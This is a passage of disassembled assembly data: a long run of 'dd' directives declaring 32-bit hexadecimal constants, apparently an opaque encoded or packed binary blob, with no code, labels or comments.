		dd 0EF2C27A9h, 762CAC28h, 0A0B7E92Fh, 0BF343732h, 3A38A4A0h
		dd 2DAEACB2h, 9A913C3Eh, 0EF94211Dh, 24A4B0A9h,	0A9E9CE2Dh
		dd 1A08A747h, 76118CAh,	0C5505B1h, 0C80EF8h, 67703DCh
		dd 218C0443h, 233D27DAh, 1EEA1DE2h, 184B1B43h, 2AFA2A28h
		dd 2FBA2C2Ch, 72023D33h, 64066104h, 0B80FDA0Dh,	4C08C40Ah
		dd 572A932Ch, 0A2194627h, 951DB31Bh, 1AE9EC1Fh,	0C67F0441h
		dd 4272C0E2h, 32262571h, 9AD4D024h, 2E556C31h, 1D1809D6h
		dd 3524331Fh, 2D342700h, 0B91D24C6h, 0BFBC4192h, 3533CDBEh
		dd 5FDC273Ah, 2D3BD586h, 2FFF38D8h, 0CB18E876h,	23CE071Fh
		dd 4E0E4800h, 19414C02h, 3D5A2AE8h, 12865DFFh, 2523456Eh
		dd 0FF160434h, 0AE42BBF4h, 0B82F1F05h, 611FBC36h, 8A67A360h
		dd 1EA22A45h, 39B52989h, 43CC7735h, 41B30462h, 3637A9C4h
		dd 0ED811B83h, 3F8FC776h, 720BBD7Ah, 25218104h,	562E85B6h
		dd 22B3C0Fh, 5A232E3Bh,	33E161AFh, 0BB093527h, 0B2311C8Bh
		dd 388C3F3Bh, 4F347173h, 0E685EC1Eh, 258007A6h,	0E7C0E321h
		dd 978680Bh, 8001FF06h,	0D11E1933h, 3D381734h, 61267B56h
		dd 0EF0B2754h, 60645FB8h, 40115A27h, 0F31604ACh, 79EA2B91h
		dd 329EE71Ch, 34C0EDB8h, 7B34429Ah, 42B2C9D2h, 945B2E3Dh
		dd 0DC7F451Eh, 0E29D3340h, 2739AE7Ch, 0A02DA031h, 0AED6522Ch
		dd 333349F7h, 0CEBF3536h, 3F4E2001h, 0D43E34B7h, 27E795E3h
		dd 1AC22445h, 1EDD1CD1h, 10C8112Fh, 14D516C1h, 9470B0Ah
		dd 0D8F0F9Fh, 5250724h,	10E0319h, 225E2403h, 1E4F2078h
		dd 26241C57h, 282825C6h, 0B2F2B5Eh, 0CE00A11Eh,	6B053502h
		dd 0CF09D807h, 4B0E540Bh, 329F70Ch, 62A2382Eh, 0EB29572Dh
		dd 0E83756A5h, 0A5753E03h, 0F4AC163Dh, 16231339h, 66289637h
		dd 7C7B35B0h, 9603C1Fh
		dd 75495A7Dh, 7A20C904h, 35A0505h, 0AEDAA224h, 2D5BD22Ch
		dd 0DB64CFBBh, 2CB65C90h, 395A01B1h, 0BA1E1D28h, 681B2F19h
		dd 7227A54Ah, 0A34D22A2h, 2CA8B121h, 28A8B971h,	7E37B1CDh
		dd 331E32B6h, 4933EB7h,	0BF493ABEh, 1B992B39h, 73269EA3h
		dd 2322A600h, 3D2EA720h, 0B8632DAFh, 0B43629AFh, 33B5AB34h
		dd 3FBCAACEh, 3BBDDA70h, 0D1BBAD4h, 715B7439h, 2652A8C9h
		dd 1324321Eh, 2EBAC208h, 32678416h, 0F3F960Ah, 710C348Dh
		dd 681927B9h, 0F36D23BCh, 3D03942Ah, 0A1748BC8h, 3AA46939h
		dd 5637A541h, 10E30AEh,	1C58125Ah, 671D6FB6h, 3BC3D1B4h
		dd 3CFBBB4Eh, 1F1E081Ah, 0D3BDC81Ch, 0E37A3423h, 89D0C57h
		dd 0AC3EC429h, 3AB319BFh, 4F142671h, 0C5C6C85Bh, 0C0490E5Fh
		dd 6D17892Ch, 91294C3Fh, 0A52EC022h, 32393627h,	27CE189Eh
		dd 0E1147FA5h, 686A6C36h, 0B05C6C36h, 0AC003B37h, 9E43C4Fh
		dd 0D1D6F29h, 24708065h, 0FDD81B58h, 2C0C1914h,	155B2C25h
		dd 3FCB5641h, 0CD9E2841h, 9DFD2F39h, 11703D31h,	87145F28h
		dd 0F38CA42Fh, 1420370Ch, 1B2C19E1h, 0AF13A620h, 35623420h
		dd 77236738h, 0BF002D38h, 7A3DB83Bh, 1E4C1F9Ah,	0A371239Bh
		dd 25257620h, 3A2AA97Ch, 482E2C78h, 326533AEh, 0B6443630h
		dd 2E97534h, 3C383C7Fh,	1D1C1BC0h, 2220131Ah, 664C0302h
		dd 2ED82E26h, 652C3723h, 315C652Dh, 3C0D2B3Bh, 929673Fh
		dd 43C70015h, 0F427BDEFh, 0F1E4F1Ch, 0E5070675h, 18777425h
		dd 89EB3389h, 7CCFABC5h, 342931D0h, 3BB53736h, 5DF9B905h
		dd 9EABD66Fh, 0AF4E4C7Ch, 0B74A0D22h, 7FB9341Ah, 0B83CE4C0h
		dd 0A72C2D5Bh, 338136E3h, 0FD7FCB2Ch, 26B14088h, 3D1AE780h
		dd 461E3C1Ah, 7B21711Fh, 24CE2425h, 56A2DE14h, 0A549300Fh
		dd 753B71BBh, 763B3461h, 1E794C64h, 54E8C373h, 27192A2Bh
		dd 7B25BC4Bh, 0B5306552h, 39B95B6Fh, 2F2CAADAh,	0A8E3D002h
		dd 2900DA8Bh, 0D083702h, 95C0F76h, 98130B42h, 777D9229h
		dd 10EF1691h, 0C013F28Dh, 9A0B011Bh, 1A114607h,	1DACEA27h
		dd 0C2471FA3h, 0D80DF211h, 2DD3083Dh, 29E22BE8h, 2F152124h
		dd 1B110513h, 1C6A6D1Fh, 184E1A60h, 472B914Ch, 37421134h
		dd 13A4D17h, 7A3E49E9h,	9B4D1C6Fh, 22A07B1Ch, 408F3E33h
		dd 0AF582853h, 2EA8502Ah, 0E731B1A8h, 33A70A33h, 3ABCA536h
		dd 1E3DBD93h, 18AFB101h, 21A5A11Fh, 0F124A6EBh,	0F67E27A3h
		dd 134C2BABh, 0C2D85BC4h, 0E26AA74h, 0D13B37D5h, 0B33CD9D9h
		dd 0CF3F3A9Bh, 40511EFCh, 0E6E52982h, 8C15FC25h, 2CF99322h
		dd 0C086258Ah, 3389D31h, 38383D4Ah, 43A33647h, 0DB334D31h
		dd 967E7610h, 81113715h, 2607B72Eh, 6E0923EBh, 0B0A2C2Eh
		dd 63365B10h, 5F36375Eh, 2E1EC66Eh, 0BC7A3D5Ch,	525D16E3h
		dd 482DB03Bh, 38257533h, 0A297F74h, 0E2D7029h, 0CDC9BB79h
		dd 37E4BC26h, 6466FF7Bh, 35AD1839h, 1CA2123Fh, 9981F3Fh
		dd 24242223h, 0C44E27CEh, 456B292Ah, 11B1060Ah,	71B06262h
		dd 517CB72Eh, 343D7A1Ah, 0F47E71B3h, 70459ECAh,	9436DD61h
		dd 2A2624FFh, 0F743AF40h, 112F5D58h, 3C12336Ch,	325A2653h
		dd 79BBEC5Fh, 18875830h, 0DF839A6Ch, 6F2A2265h,	0CF242D20h
		dd 2B0F2A87h, 2F787C28h, 47BBC0BBh, 79BB3110h, 7FFD5938h
		dd 3F3F2D18h, 98F51C18h, 0AFDEDE8Ah, 0E067166Dh, 2B293427h
		dd 342F55C3h, 0A30152Bh, 0DE3534CCh, 0B127385Eh, 36193C77h
		dd 10957F61h, 0A2501B1Eh, 27E733E6h, 0FEF029F4h, 0F8662F2Bh
		dd 3080212Eh, 35EFDF3Ch, 0E96AC732h, 0D794353Ah, 1D1F363Eh
		dd 214AB600h, 2A22E43Ch, 243A2799h, 0B9C76028h,	310F202Ch
		dd 5C32567Bh, 3137DD1Dh, 543A4293h, 77133F4Dh, 1E9A131Dh
		dd 22B60B0Ch, 426AA14Ch, 435E4E46h, 6E212FFCh, 0FA321002h
		dd 123AB327h, 0AC33394Bh, 38C33F33h, 0E9151E4Bh, 5C27201Fh
		dd 21253032h, 0EB2B2267h, 76627E24h, 0A13B3028h, 79383432h
		dd 797C7679h, 3B3D683Bh, 1D485E78h, 20D11C1Fh, 21F21C56h
		dd 0FB81CF25h, 384C922Eh, 0E3442BF2h, 3130E808h, 0FA883E46h
		dd 9D0C1E0Ah, 0F4492B54h, 0C1B8C5Eh, 208B26B7h,	2CB546CDh
		dd 0A52FB559h, 403A2AB1h, 3D736138h, 6FA437h, 6C233753h
		dd 0A1FC9D5h, 0F71B1475h, 356E1434h, 69194405h,	0CBCFC102h
		dd 3B16AD37h, 37144513h, 930D1562h, 0F33A8332h,	6161C2C3h
		dd 0A1D18D9h, 2228B01Eh, 702508EFh, 0E295CACh, 0A32C4623h
		dd 32D94E61h, 0C9CAFFC6h, 4B518167h, 3F3D783Bh,	0E2D2EDD7h
		dd 0EFC81FE1h, 452DE52Fh, 0C12CE637h, 0A0AEB71h, 10C40502h
		dd 19173028h, 511DF7D2h, 0DF96FFAFh, 0F43FB436h, 0C292BE89h
		dd 0C9D3E838h, 31C1083Ch, 8AB2E1Ch, 0B4F7484Eh,	6BB26615h
		dd 39A21276h, 246E7933h, 0FA1B1AB1h, 0E0125A1Eh, 21CA2120h
		dd 6B2824CEh, 4F74210Ch, 2F232DA5h, 23F6B234h, 3735A5F7h
		dd 0B0522438h, 3E3EFAFDh, 1EFD421Fh, 0B236222Ah, 0D560243Bh
		dd 0AAC16D34h, 0D1D2FB59h, 0B62F7EA2h, 0B4572674h, 0BAFF0B31h
		dd 6BD53D3Dh, 43431B4Ch, 0E27BDF2Dh, 9D7A7C22h,	722B2727h
		dd 20BC29E9h, 21DCACB2h, 371077BFh, 69A63736h, 0E5B02EC5h
		dd 971AEF3Ch, 7E1FE220h, 261F239Fh, 4228067Dh, 2CA5A756h
		dd 0B07E7862h, 0F0B0E5CEh, 3BD9B739h, 4B3B3B62h, 3F4BE040h
		dd 0A98E2C04h, 870DCA30h, 0A4353465h, 5ED56117h, 0C4254C24h
		dd 2B51213Ch, 563AB50Bh, 0CB79813Ah, 5C6EBD00h,	1EF0990Ah
		dd 2F54E594h, 0E5AE7A7Ch, 6829F9D8h, 0A12C5EDAh, 3D313F0Fh
		dd 39353B33h, 3A363737h, 0E63F6AC4h, 1F1C3B14h,	21BFCCF7h
		dd 6CABDD20h, 0B9C12526h, 6898382Bh, 0A38F29AFh, 0F3F322Dh
		dd 3C397628h, 1939FA13h, 149BFFCEh, 241E0756h, 256A29C7h
		dd 28950721h, 2D23562Dh, 85BD9929h, 0DF413EF0h,	889A3774h
		dd 3C533FB9h, 4D36DF3Ch, 941E7B1Ah, 6CAF2567h, 27747422h
		dd 2F6CA04Eh, 0F5D238D3h, 0B5323372h, 0F03AF1B7h, 2EC52C5Ah
		dd 0FDB63D3Ch, 7C9F9429h, 612CA795h, 26842541h,	2EEB7678h
		dd 2EE17EF4h, 361574A5h, 0B7BDF4B7h, 12B0B916h,	0DE151867h
		dd 195C2F3Fh, 3464E026h, 0A02D0372h, 398B71E6h,	0AF3AA55Fh
		dd 913B0E3Eh, 1BDC6336h, 2D723D95h, 9D243991h, 3C1A8F3Ch
		dd 0A0FC5608h, 601D475Dh, 16582AE7h, 2C342A36h,	0B32F3A1Ch
		dd 75DF2EDDh, 0AE34775Eh, 0CC6E382Ch, 192A567Fh, 0D41C0CDCh
		dd 76F42334h, 53C72090h, 2B5EC528h, 2D2E59DBh, 70B18B4Ah
		dd 0C6364439h, 3B3A486Eh, 0CB931EE2h, 1E6C321Bh, 0D61863AFh
		dd 26546023h, 656AC84Ah, 6DCD2C5Ah, 32314175h, 73BE51EDh
		dd 0FD6A3437h, 3A3DC07Eh, 11591BB6h, 6CAB1111h,	7024A82Eh
		dd 0D575AC2Eh, 2D2ED2A9h, 0F1033856h, 3636B854h, 0D0BBEF36h
		dd 3FFEB838h, 1DE23FBDh, 0D99CF062h, 50032321h,	0A2E71534h
		dd 0AF2A2FABh, 712EEC29h, 3EF34D35h, 0F9B1BC65h, 6C692D39h
		dd 0FC03D66Ah, 0B51BB90Ah, 3D291027h, 460D2E16h, 2F1B9C3Ah
		dd 98256D41h, 38723611h, 463D72BAh, 6B233B23h, 0DF62D527h
		dd 4A01FB5Dh, 99830C3Bh, 274F7403h, 11342E75h, 283C2E2Ah
		dd 349E3632h, 2E95329Ch, 3C9273DFh, 91D00CE2h, 1C2CDE39h
		dd 209919B8h, 8A228C20h, 2F859620h, 0CC4C34Ah, 47242825h
		dd 0DD40359Dh, 6F3E9E54h, 3B9A3D95h, 0B2CD00D8h, 0F15EAD36h
		dd 0EC396221h, 890B26C6h
		dd 7319276Bh, 515B2E9Ah, 46A3531Eh, 7C56535Dh, 0F7602806h
		dd 0F705B438h, 19192719h, 0BC2B2100h, 28BD602Bh, 40BFE96Ah
		dd 65CE4558h, 0D05ACB57h, 38C8263Bh, 6A653F51h,	319D2D61h
		dd 10A30C5Dh, 7E720D00h, 558B6469h, 456B0827h, 0EEA84845h
		dd 7ABC5F51h, 0C7358C70h, 0B7C9C8C7h, 3ECA0E07h, 0DCC690DEh
		dd 0E11319F5h, 0AFEBA822h, 2BE9A437h, 29B82BA2h, 71332F82h
		dd 712CCBB1h, 5BC8D948h, 70B13B8Ah, 744B6757h, 0F0795FE5h
		dd 3A73DAA1h, 3EA74F90h, 8AFA7A3h, 24A8AE3Dh, 0F57BB2F6h
		dd 47F63F7Fh, 4DFBE29Dh, 0C1FF2BC2h, 1B42DD15h,	0AE19E19Fh
		dd 37ABA530h, 2FA7FE2Ch, 0A2AE2C6Ch, 0E875399Ch, 0BC74F5BBh
		dd 39D47EBCh, 333FFC8Ah, 1C8020DEh, 0EBA4801Eh,	0E766A02Ch
		dd 2BED353Bh, 2F2C9C2Ah, 4C30318Dh, 58343566h, 3B653936h
		dd 3F3C703Ah, 1C1D4E09h, 37211E38h, 24222223h, 0CD82DD27h
		dd 2CC62A2Ah, 3031F72Fh, 9FB4B22Ah, 0F39361Eh, 3C703A3Bh
		dd 1D1A613Fh, 211E64B7h, 0BA2223AFh, 0C0772724h, 3C38A975h
		dd 30AC0E2Ch, 41321249h, 5EDF662Fh, 2BBB3E23h, 0AA3EDF30h
		dd 1F740C2Eh, 3A8220CAh, 0FC38D430h, 220806D8h,	28D02FCCh
		dd 3C133984h, 30293D7Ch, 39D53933h, 0EF9B34D3h,	17F92E1Eh
		dd 2BCFDDA3h, 0A62F75E5h, 2228281Dh, 5EEAA824h,	77BA562Eh
		dd 3BE14CBh, 0B3BE417h,	36B65A33h, 0ED1D1B72h, 0DE713B33h
		dd 51AF27F4h, 0A2F0A1E6h, 0D46DF6Fh, 15A4A22Fh,	5F369312h
		dd 0B3EA1249h, 681D4AFDh, 913DAFC2h, 803BBA91h,	67932353h
		dd 33A6244Fh, 0FBC3A679h, 346A659Ch, 0D5CDDA37h, 3C727317h
		dd 78124A9Dh, 1F090219h, 1B294C3Eh, 0B22A05B4h,	2A64262Ch
		dd 62B88BC0h, 96C62A28h, 0A0363579h, 6176673Ch,	0C324E43Ch
		dd 37AEFD30h, 12FE591Fh, 0B2206952h, 0F1E3342h,	80EF1445h
		dd 8C2C2D6Bh, 7BCF9CA2h, 0CF723632h, 9BEB3A37h,	0AC703CBBh
		dd 0B51DFA53h, 52215F64h, 122E27Dh, 28683948h, 2DAC5C93h
		dd 0D069D05Ah, 0D76DBC33h, 0CC1CB5A3h, 0AF5C7B38h, 171B9E02h
		dd 20153F5Bh, 242CEEDFh, 2828262Ah, 2C242A26h, 30202E22h
		dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F11E21Ch
		dd 232D212Fh, 2729252Bh, 2B252927h, 20D12D23h, 3C323E30h
		dd 38363A34h, 343A3638h, 383E323Ch, 6B1E1C14h, 324F253Eh
		dd 21D67D2Bh, 2ED83FA8h, 27FADBA2h, 3E213221h, 60324A0h
		dd 0B5379A15h, 0B5CCBC2Dh, 1DF44B39h, 0D006FE1Fh, 0AC200972h
		dd 0F131D728h, 0C250436h, 11ACAD27h, 2EECC53Bh,	285777F6h
		dd 823424E5h, 1C14B01Fh, 20101E12h, 27E2222Eh, 2166AD25h
		dd 2C23BAEAh, 582730A2h, 2AB94CD1h, 0C9BC6064h,	184FB3B9h
		dd 0C1FED639h, 51BE116Ch, 0C82FC929h, 97742555h, 2B3A6927h
		dd 0C5D3C528h, 23BC31E0h, 0F13535AFh, 0D33B39C8h, 247778D1h
		dd 1714B529h, 3004EEA5h, 3201C42Eh, 4BEE06A7h, 4E316D13h
		dd 19D96063h, 7A503E31h, 3F3934FDh, 0B034AE7Ch,	383A2B8Ch
		dd 51C26910h, 4F212508h, 133D2222h, 46CD373Ch, 2656139Fh
		dd 0C830933Fh, 37782106h, 393C2EDBh, 1D1B3F6Ch,	0DC1F7CB8h
		dd 0DC062800h, 7AD32677h, 7EDB2029h, 202EC22Dh,	3533F5F0h
		dd 7BD6E215h, 849A3B39h, 0EA37B56Bh, 0D0BEAEF4h, 2B0665D6h
		dd 20522424h, 0D496C17Eh, 76D10DD3h, 0F26CF7BBh, 66F7BE35h
		dd 0E23F3969h, 3A28790Ch, 1B097DB9h, 0D62E4A0Fh, 23B52A27h
		dd 2BD92B25h, 7F3E4607h, 0A01AE2C7h, 343021BDh,	8AD73D27h
		dd 94ABB15Eh, 4F19195Bh, 38A91A0Ah, 20303227h, 2DD83430h
		dd 1C682113h, 0B3D87F24h, 363129A7h, 0F7B23226h, 0FB267DB3h
		dd 1CBB2678h, 197B761Ch, 64061890h, 55A7C33Ah, 2D2A1A2Dh
		dd 3F270173h, 37496831h, 942431D5h, 357CB1F7h, 0D95DD66Dh
		dd 0F7D04F8Dh, 4E3C81E8h, 1411912Ch, 48224629h,	3FDE8C24h
		dd 7CB83955h, 0F80B3134h, 63EEF05h, 86361D45h, 0E422E924h
		dd 26211F1Fh, 0DA242422h, 6B2A2827h, 731D6A1Bh,	231581Fh
		dd 6B0044Ch, 3A910894h,	0F40D830Bh, 0F02CFA0Fh,	102B2F1Eh
		dd 140A1232h, 7A192319h, 1C540C4Ah, 31851E8Bh, 35BFCD03h
		dd 47B560DFh, 3971B644h, 1C2FD73Ah, 0EF944E56h,	0C42214C9h
		dd 0D7ECA538h, 0A924EAACh, 302E0A6Dh, 74925A33h, 91377B11h
		dd 0F8B83839h, 1BBBB739h, 1C1E9538h, 0E419DE13h, 39AAC24h
		dd 5F2929A8h, 0E7A53D25h, 273142D8h, 0E48036E4h, 6D0EC33Bh
		dd 1461CA17h, 45A21FFAh, 222E2010h, 29252BB4h, 0E43FD927h
		dd 0C2AC3AD0h, 64294F9Fh, 0ABB5C200h, 8EB0A797h, 6E99E61Fh
		dd 3BDCD828h, 0B1DA338Fh, 9D0C130Eh, 390ACF76h,	5F4C3B0Fh
		dd 8560CA23h, 846D0B32h, 0DB0C9636h, 1A3D1F38h,	3E163B2Fh
		dd 711E3C2Dh, 2D929A49h, 1325CE70h, 0C5372E3Bh,	322F3E72h
		dd 35338B31h, 0B35363Dh, 80B62AF9h, 124FB619h, 5AB5EE4Fh
		dd 0A2AE2A30h, 7272528h, 73780368h, 7F28A9C4h, 35E06D88h
		dd 0E62DDFBh, 0ADB03948h, 98DF5E1Eh, 399DCA1Dh,	0AA079376h
		dd 0A72F947Fh, 37A834D6h, 328DBFB9h, 0CD022CBEh, 0ABDD11B1h
		dd 1B1C1A66h, 203C289Ch, 22C9223h, 113B04F6h, 0C53AC023h
		dd 0FA82446h, 142EA047h, 83E3978h, 310A1333h, 3E3A0106h
		dd 13D5AF96h, 1EE30F3Fh, 31C4F82Dh, 252D7011h, 29D41E35h
		dd 3C3BEC39h, 0DEC602E9h, 37B2BDB1h, 9434B4D3h,	0BEE518D0h
		dd 0CDD6E23Eh, 77A61E9Ch, 0AD3E238Dh, 17AF392Ah, 2AEB2886h
		dd 2FAB071Eh, 31D64C70h, 0C636447Ch, 0CA3A48BFh, 5F3C38BBh
		dd 0BE196928h, 2724787Fh, 23246409h, 28087FBFh,	2A09ABDAh
		dd 8D35149Eh, 0EDF83017h, 21993846h, 0BE3D4DE0h, 1D6DF21Bh
		dd 0D68617CEh, 50742353h, 0C130B823h, 39CF99FBh, 673A884Eh
		dd 0DDFC3BB9h, 0D200E7EBh, 31FC0838h, 117BCFB5h, 0AB491E3Dh
		dd 3335CAEAh, 2F472715h, 0C72D0E20h, 0F9711D10h, 1E635D73h
		dd 56F61DF4h, 1C3B7A6Bh, 1B7F6E37h, 70B7F34h, 0F212130h
		dd 0ED0DD4CCh, 0CFFB298Bh, 2B0E2EC5h, 37226023h, 364737F4h
		dd 0D33B2CA1h, 5D12CD65h, 8F3D74BBh, 0CA703011h, 5A581A0h
		dd 8DC90C93h, 0CF1D227Bh, 60293AEFh, 163C1A03h,	1AB8271Ah
		dd 1F0C239Bh, 3D9C8E8Fh, 0C36DF71Dh, 6F21E385h,	7B2D2645h
		dd 4DFA2AEFh, 4A342FA5h, 7C925C33h, 5C890A34h, 0F4503E3Bh
		dd 8E9C3A3Fh, 0A2091E3Fh, 1936A328h, 8C25A7B2h,	242BB061h
		dd 3DAE2A8Eh, 0A66F307Fh, 0CCB3B43Ch, 0D33EBB49h, 0BF3DBF08h
		dd 7D9F5E46h, 232D67A5h, 2729252Bh, 2B252927h, 2F212D23h
		dd 3E31313Fh, 3339F534h, 0FD2696Eh, 2C7EAC9Fh, 0FF08E3EBh
		dd 12DE0533h, 5FA5A411h, 2A246020h, 643FBC2Ah, 2A7BD06Fh
		dd 672128B3h, 1A2D38B7h, 3E0DB8B6h, 4F338B3Eh, 212DAF4Fh
		dd 150A874h, 0C17E672Eh, 0D2D10C56h, 3044442Ch,	0F66AB330h
		dd 39FF31BDh, 33B75B3Fh, 1D0EC06Fh, 0E7051EA3h,	202324C1h
		dd 9523E616h, 652F7338h, 792A022Fh, 381776BAh, 0B8363940h
		dd 32B03111h, 176EB563h, 1D1894FCh, 4382A0C0h, 2C272521h
		dd 4B3A3B2Bh, 2F2D2D53h, 0E324E131h, 4462336h, 3B3B3C38h
		dd 823EBD3Dh, 6397B3B3h, 229F31D6h, 27252CD7h, 0A300380Ch
		dd 2A2CDC2Ah, 0D9BBB872h, 273DFD2Fh, 3B0BD0A8h,	3E3F5C73h
		dd 0DAD81C3Fh, 0C9000F58h, 527637EFh, 34D021B6h, 0AEAC967Ch
		dd 45905A8Ah, 306145D0h
		dd 2D76BA9Eh, 2E6070DAh, 1D4E2F13h, 2F0BA142h, 2B232D21h
		dd 7F309525h, 4D2725A9h, 3FD0503Dh, 38C3E2B5h, 7C3839E5h
		dd 0E929FCBDh, 7369BA32h, 1DD4BDDCh, 63D41221h,	409E57Dh
		dd 144AE969h, 0AD6EA639h, 3FCD61E0h, 35960521h,	4E459039h
		dd 3CB68339h, 1BBF1F1Bh, 824935E0h, 28452921h, 2BA06B2Ah
		dd 0A52F5974h, 0DC6F26E9h, 65353961h, 6D35D056h, 3F1534BEh
		dd 291BDB3Ah, 0A80C1B5Eh, 20380776h, 0E94E23A2h, 61A40529h
		dd 31352D06h, 3AF53031h, 3E4CF7B3h, 0C2691369h,	4F167FEEh
		dd 0ABCF3B5Bh, 3C62D337h, 8B0B2BE5h, 0D9A0E43Bh, 0B33F4E3Ch
		dd 273136F5h, 1BE6BDCFh, 7C073D79h, 10167CAFh, 594409F1h
		dd 61866065h, 0F8ADEE0Dh, 1EE58D6Ch, 8DE689E8h,	61546124h
		dd 0DE334595h, 1A93DABCh, 0DDFF261Ch, 963D3C1Eh, 0E2EA23CFh
		dd 0CF06F73Ah, 0E2F7A45h, 3A8E35EBh, 91C92793h,	15C93CDCh
		dd 396839EEh, 0F059D469h, 0AC9C09B9h, 0C9007F7Dh, 0B43B5320h
		dd 0C1344F24h, 0A62EBA29h, 25D03E4Fh, 3E2428BEh, 29231427h
		dd 2E37AA31h, 1CAD4034h, 0B5941C1Dh, 4E20229Eh,	0A5262625h
		dd 28B70EA5h, 582D2E2Dh, 34733331h, 4CBE6737h, 0FB731E39h
		dd 1A7B1A79h, 0E01D0D1Ch, 4322A135h, 270271A9h,	0C37C7B18h
		dd 2D2EE9ECh, 158A3135h, 0B3BB1034h, 3B3B011Ch,	3B543F3Ch
		dd 0CDE24A4Bh, 6A5AB0Fh, 3292414h, 292928D8h, 0AD425863h
		dd 24532C7h, 0BA377C21h, 3A493040h, 364B3EBBh, 4D4E2B14h
		dd 35044B05h, 552C2352h, 0DE282B26h, 0AEF4DCF0h, 1312FF4h
		dd 3524F169h, 393E25F6h, 1CE76D69h, 8131B16h, 283D4B8Ch
		dd 542BE3F9h, 0C3F4CE25h, 38230868h, 311E608Ch,	12C23A1Dh
		dd 57B75E19h, 55BC9B7Ch, 33570F1Dh, 2F312E21h, 533DC90Ch
		dd 3B17150Eh, 0C37A2B39h, 2FFE3C7Eh, 32F41558h,	0B436D537h
		dd 8A12FFFCh, 27D66B3Dh, 1FA5399Bh, 1221C819h, 773924A3h
		dd 2BC594CFh, 0AA29011Ah, 0DBBA44EFh, 40546365h, 2EBF38DFh
		dd 7BB7C3C4h, 0C69C2828h, 0BDA9DC24h, 21C4B306h, 0A7AC2826h
		dd 8D2E2B39h, 0D39A2FBAh, 8BF3232h, 3BB8EF92h, 32FF013Bh
		dd 1E7B44BAh, 5A951Dh, 2A56E11Ah, 345A66A6h, 1739552Ch
		dd 8F2E2CADh, 75823901h, 69132770h, 6CC21134h, 90C81EB6h
		dd 6DE496C5h, 23E9AA30h, 25CFE46Bh, 0E0A18CDBh,	2FAE452Ch
		dd 30D3B233h, 6735355Eh, 9FC93852h, 0D73800B7h,	1B0D17FBh
		dd 21214827h, 6ED525A3h, 0D4AAD8ACh, 2F2D58D4h,	33317468h
		dd 36CADD33h, 1E75B334h, 6AB03C2Bh, 4F4D0F1Bh, 6520924Dh
		dd 14E1306h, 2DD77176h,	72D773Fh, 25CFACD6h, 0CA0D2346h
		dd 35387323h, 7DB16C6Ah, 746B1B72h, 151F58CDh, 31DC6270h
		dd 2925FDD5h, 435F1E29h, 10434F59h, 5AB75742h, 111DF451h
		dd 3C493639h, 2E0EB628h, 331DCF2Ch, 5BC22220h, 142326C1h
		dd 1819295Bh, 2FDD2B29h, 5C18373Eh, 96522EE4h, 324B150Fh
		dd 6A7E1D06h, 574F5948h, 6C21A15Bh, 467D6D2Fh, 16D18A27h
		dd 1381117Fh, 0CDF0EA6h, 9710B1Ah, 59B074Ch, 3CFD3F3Bh
		dd 1D8C1A3Fh, 5D102E1Dh, 44149012h, 9E19BB17h, 0A01DE11Bh
		dd 6102E71Ch, 0EE07A601h, 0C00BD505h, 93D3B09h,	285C0B30h
		dd 14702A4Bh, 131016E4h, 18271150h, 1CDB1AC5h, 30D31ED9h
		dd 5323201h, 93B0731h, 280A2A39h, 3B0E220Ch, 2E3A1D2Dh
		dd 1212100Ch, 1B261410h, 6F1B6919h, 2F1F611Dh, 2660060h
		dd 6560468h, 570B5D38h,	4B0F4D0Dh, 2F611C2Ah, 13A5119Fh
		dd 1F5715AFh, 1052127Eh, 148916B0h, 9B70B7Eh, 0D9B0F90h
		dd 63D03DEh, 20A001Bh, 2163275Fh, 1C3F220Bh, 18C71E0Bh
		dd 173C1925h, 13E01579h, 0E1F103Dh, 37B43032h, 39943636h
		dd 8D0CAF39h, 3B2A340Eh, 0ED2E9D2Ch, 0D5E55410h, 20D84C20h
		dd 0CCA15241h, 308E4AE2h, 50631235h, 183713BCh,	3C6E1ABAh
		dd 271B52B6h, 9CE82E4Ah, 0AA23DC28h, 53AF7B24h,	56AE250Ch
		dd 17526D09h, 735DB158h, 67618B1h, 0BB76D9ACh, 0CDE60E2h
		dd 9719783Bh, 22208012h, 52E5A1A7h, 3AD1AB2Eh, 0E2A82323h
		dd 0BF07A82Fh, 6105244Dh, 382C0CDFh, 300F3C01h,	79091BC0h
		dd 0AA211DC4h, 7A242222h, 9ECA478h, 6D22A0E9h, 3FB96E79h
		dd 75233CDAh, 91C374Ah,	251877B7h, 481BB26Fh, 11D0E39h
		dd 26136922h, 681727C5h, 0AC0CC149h, 11243F2Dh,	0C531EB36h
		dd 28433664h, 49373503h, 0AD3C2A31h, 429B121Dh,	0DCDDA9DFh
		dd 0CF2BC47Fh, 334845B3h, 0E715610Ch, 23613642h, 66738DFh
		dd 0D6D22D36h, 0EB5A4DCh, 3EAD6845h, 4DA148B7h,	32DAA30h
		dd 1758AAA0h, 0C6291E42h, 62333057h, 93B43483h,	2009BB52h
		dd 6E753E5Bh, 0BD85F36Eh, 3BE0CA5Bh, 65213372h,	0C9F8E106h
		dd 65C8783Bh, 21A0C732h, 0F5FD0031h, 0B3082B37h, 1D080F76h
		dd 0FC1A7F3Bh, 35F40A42h, 5EFDCB7Dh, 1D809EE5h,	0B3CA26C9h
		dd 56450E8Ah, 0DC3F3A05h, 0C76C77FBh, 9DE7AE2Ch, 5FB6AC5Eh
		dd 38BB6938h, 210041D5h, 0A427C5AFh, 0EE11D6E5h, 0A8AA3923h
		dd 133046D0h, 335C4D62h, 0A33C393Dh, 0ED003B3Ch, 20CA221Bh
		dd 1CCB1EFEh, 0DF1B24CCh, 21162C19h, 11296914h,	62368071h
		dd 36B53633h, 0A773B37h, 0EFD0C83h, 422D1B26h, 8F11902Fh
		dd 1424D613h, 1B63153Fh, 3DA81970h, 0DD02E71Ch,	6053B02h
		dd 0BB0B3775h, 68859209h, 9196172Ah, 3B66DFE9h,	0AE2EE0h
		dd 2AA7D98Fh, 7829A839h, 0B22A2CACh, 0B55FB833h, 41F7CC37h
		dd 0BD07B7B4h, 9AD0BC3Fh, 0F69A501Eh, 27A34751h, 23A7297Eh
		dd 0A92D6BF4h, 0AB2FFC2Eh, 33C213B5h, 96DE6521h, 3A0724B8h
		dd 2A403C13h, 9D08974Fh, 9A5E234h, 0AB0EA671h, 3A0D6C27h
		dd 787D2841h, 32E472D0h, 42F5B135h, 0D2133D2Eh,	1ABC533Dh
		dd 0F4A1463Dh, 0A1DFE05Ah, 0AF2AA9DDh, 29340372h, 0E7166F71h
		dd 0A53F732Eh, 0A569B2F2h, 0C83E25h, 3156FFB9h,	4D2F3A6Eh
		dd 254D3418h, 0B6A926D1h, 402287B3h, 7D2E7BE5h,	262A7A7Fh
